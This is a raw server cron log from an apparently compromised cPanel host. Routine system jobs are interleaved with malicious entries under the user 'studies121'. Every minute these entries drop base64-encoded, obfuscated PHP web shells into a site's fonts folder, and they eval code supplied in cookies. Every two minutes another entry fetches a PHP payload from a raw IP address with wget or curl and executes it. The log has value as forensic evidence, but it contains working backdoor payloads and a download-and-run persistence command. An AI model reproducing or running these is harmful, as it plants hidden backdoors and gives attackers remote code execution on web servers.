Aug 30 17:56:01 ip-184-168-122-23 CROND[20043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:56:01 ip-184-168-122-23 CROND[20046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:56:01 ip-184-168-122-23 CROND[20048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:56:01 ip-184-168-122-23 CROND[20047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:57:01 ip-184-168-122-23 CROND[20222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:57:01 ip-184-168-122-23 CROND[20225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:57:01 ip-184-168-122-23 CROND[20226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:57:01 ip-184-168-122-23 CROND[20224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:58:01 ip-184-168-122-23 CROND[20317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:58:01 ip-184-168-122-23 CROND[20321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:58:01 ip-184-168-122-23 CROND[20320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:58:01 ip-184-168-122-23 CROND[20322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:58:01 ip-184-168-122-23 CROND[20319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:59:01 ip-184-168-122-23 CROND[20410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:59:01 ip-184-168-122-23 CROND[20411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:59:02 ip-184-168-122-23 CROND[20413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:59:02 ip-184-168-122-23 CROND[20412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:00:01 ip-184-168-122-23 CROND[20497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:00:01 ip-184-168-122-23 CROND[20499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:00:01 ip-184-168-122-23 CROND[20504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:00:01 ip-184-168-122-23 CROND[20505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:00:01 ip-184-168-122-23 CROND[20506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:00:01 ip-184-168-122-23 CROND[20503]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 18:00:01 ip-184-168-122-23 CROND[20509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:00:01 ip-184-168-122-23 CROND[20510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:00:01 ip-184-168-122-23 CROND[20511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:01:01 ip-184-168-122-23 CROND[20803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:01:01 ip-184-168-122-23 CROND[20804]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 18:01:01 ip-184-168-122-23 CROND[20806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20804]: starting 0anacron
Aug 30 18:01:01 ip-184-168-122-23 CROND[20812]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20816]: finished 0anacron
Aug 30 18:01:01 ip-184-168-122-23 CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:01:01 ip-184-168-122-23 CROND[20818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:02:02 ip-184-168-122-23 CROND[20984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:02:02 ip-184-168-122-23 CROND[20986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:02:02 ip-184-168-122-23 CROND[20987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:02:02 ip-184-168-122-23 CROND[20988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:02:02 ip-184-168-122-23 CROND[20989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:03:02 ip-184-168-122-23 CROND[21128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:03:02 ip-184-168-122-23 CROND[21129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:03:02 ip-184-168-122-23 CROND[21130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:03:02 ip-184-168-122-23 CROND[21131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:04:01 ip-184-168-122-23 CROND[21245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:04:01 ip-184-168-122-23 CROND[21247]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:04:01 ip-184-168-122-23 CROND[21248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:04:01 ip-184-168-122-23 CROND[21249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:04:01 ip-184-168-122-23 CROND[21250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:05:01 ip-184-168-122-23 CROND[21332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:05:01 ip-184-168-122-23 CROND[21335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:05:01 ip-184-168-122-23 CROND[21336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:05:01 ip-184-168-122-23 CROND[21337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:05:01 ip-184-168-122-23 CROND[21333]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 18:05:01 ip-184-168-122-23 CROND[21334]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:05:01 ip-184-168-122-23 CROND[21338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:06:01 ip-184-168-122-23 CROND[21535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:06:01 ip-184-168-122-23 CROND[21537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:06:01 ip-184-168-122-23 CROND[21540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:06:01 ip-184-168-122-23 CROND[21542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:06:01 ip-184-168-122-23 CROND[21541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:07:01 ip-184-168-122-23 CROND[21626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:07:01 ip-184-168-122-23 CROND[21627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:07:01 ip-184-168-122-23 CROND[21628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:07:01 ip-184-168-122-23 CROND[21629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:08:01 ip-184-168-122-23 CROND[21754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
